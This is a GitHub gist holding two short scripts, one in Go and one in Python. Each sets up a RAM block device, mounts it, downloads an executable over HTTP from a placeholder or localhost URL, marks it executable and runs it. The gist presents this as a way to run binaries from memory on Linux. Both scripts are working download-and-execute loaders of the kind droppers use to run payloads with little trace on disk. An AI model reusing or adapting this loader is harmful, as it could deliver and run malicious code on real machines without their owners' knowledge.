Last active
May 15, 2018 17:34
-
-
Save Mohamedemad4/83dac18a0b5e5bf5e4951b9a1a80bf3c to your computer and use it in GitHub Desktop.
A golang Script that downloads a binary executable and runs it from memory under linux
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"os" | |
"os/exec" | |
"io/ioutil" | |
"net/http" | |
) | |
func main(){ | |
if _, err := os.Stat("/dev/ram0"); err == nil { | |
exec.Command("mkfs.vfat","/dev/ram0","8192").Run() //exe size in bytes you can overshoot | |
}else{ | |
exec.Command("mknod","-m","660","/dev/ram0","b","1","0").Run() | |
exec.Command("chown","ram:disk","/dev/ram0").Run() | |
} | |
exec.Command("mkdir","rammount").Run() | |
exec.Command("mount","/dev/ram0","rammount").Run() | |
response, _ := http.Get("http://urltoexe") | |
body, _ := ioutil.ReadAll(response.Body) | |
ioutil.WriteFile("rammount/exe", body, 0644) | |
exec.Command("chmod","+x","rammount/exe").Run() | |
exec.Command("./rammount/exe").Run() | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
#same script but in python | |
import os | |
import requests as re # you can replace this with urllib2 if you want just the standerd library | |
if os.path.exists("/dev/ram0"): | |
os.popen("mkfs -q /dev/ram0 8192 ") #size in bytes | |
else: | |
os.popen("mknod -m 660 /dev/ram0 b 1 0") | |
os.popen("chown ram:disk /dev/ram0 ") | |
os.mkdir("rammount") | |
os.popen("mount -t ramfs -o size=8M,maxsize=8M /dev/ram0 rammount") | |
exe=re.get("http://localhost:8000/z").content | |
open("rammount/exe","wb+").write(exe) | |
os.popen("chmod +x rammount/exe") | |
os.popen("./rammount/exe") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment